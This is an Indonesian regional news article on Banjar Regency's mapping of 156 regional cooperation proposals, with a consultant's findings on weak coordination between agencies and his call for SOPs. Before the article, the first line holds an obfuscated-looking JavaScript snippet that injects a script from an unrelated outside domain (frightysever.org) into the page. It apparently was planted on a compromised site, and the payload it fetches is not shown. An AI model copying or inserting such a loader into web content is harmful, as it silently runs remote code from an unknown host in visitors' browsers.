(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Staf Ahli Bidang Pemerintahan dan Hukum Kencana Wati didampingi Kabag Tata Pemerintahan Setda Banjar Agus Hidayat membuka pemaparan hasil pemetaan kerja sama daerah, di Aula Barakat Martapura, Kamis (8/8/2024) pagi.
Kegiatan yang digelar melalui Bagian Pemerintahan Setda Banjar itu menghadirkan narasumber R Himawan Prasetyo Wahyu Nugroho dari Lembaga Pembangunan Strategi Berkelanjutan Yogyakarta.
Staf Ahli Bidang Pemerintahan dan Hukum Kencana Wati menjelaskan, dari hasil diskusi tersebut akan diidentifikasi kerja sama apa saja yang diperlukan serta diharapkan mampu menunjukkan kerangka acuan terkait gambaran dan target yang jelas. Sehingga seluruh pemangku kepentingan dapat menangkap potensi kerjasama tersebut.
Baca juga:Â Pemkab HSU Tambah 3 Unit Excavator Ampibi, Pengelolaan Lahan Rawa dan Mitigasi Banjir
Kencana Wati menyebut usulan kerjasama daerah yang dipetakan berjumlah 156 dan 125 diantaranya masuk kriteria.
“Dari 156 usulan kerjasama daerah yang dipetakan, ada 125 usulan yang kami anggap masuk kriteria, sehingga nantinya dibahas pada rapat pleno untuk dapat menghasilkan usulan yang sesuai dengan visi misi Bupati Banjar dan selaras dengan pembangunan daerah,†ungkap dia.
Sementara itu Narasumber R Himawan Prasetyo Wahyu Nugroho menerangkan, ada beberapa temuan selama proses FGD, diantaranya kurangnya koordinasi internal SKPD dalam melakukan pemetaan potensi kerjasama pada tiap bidang.
Baca juga:Â Lengkapi Andalalin, Hotel Aeris Tambah Area Parkir Baru
Selain itu, lanjut dia, belum semua Person In Charge (PIC) memahami konsep kerjasama daerah. PIC yang hadir tidak mewakili bidang kerja sehingga usulan yang disampaikan kurang maksimal.
“Sehingga saya merekomendasikan perlu adanya FGD dengan mendatangkan narasumber dan calon mitra potensial untuk memperkaya inisiasi kerjasama daerah serta perlu disusun Standar Operasional Prosedur (SOP) sebagai dasar dan panduan penyiapan dokumen,†tutup dia. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.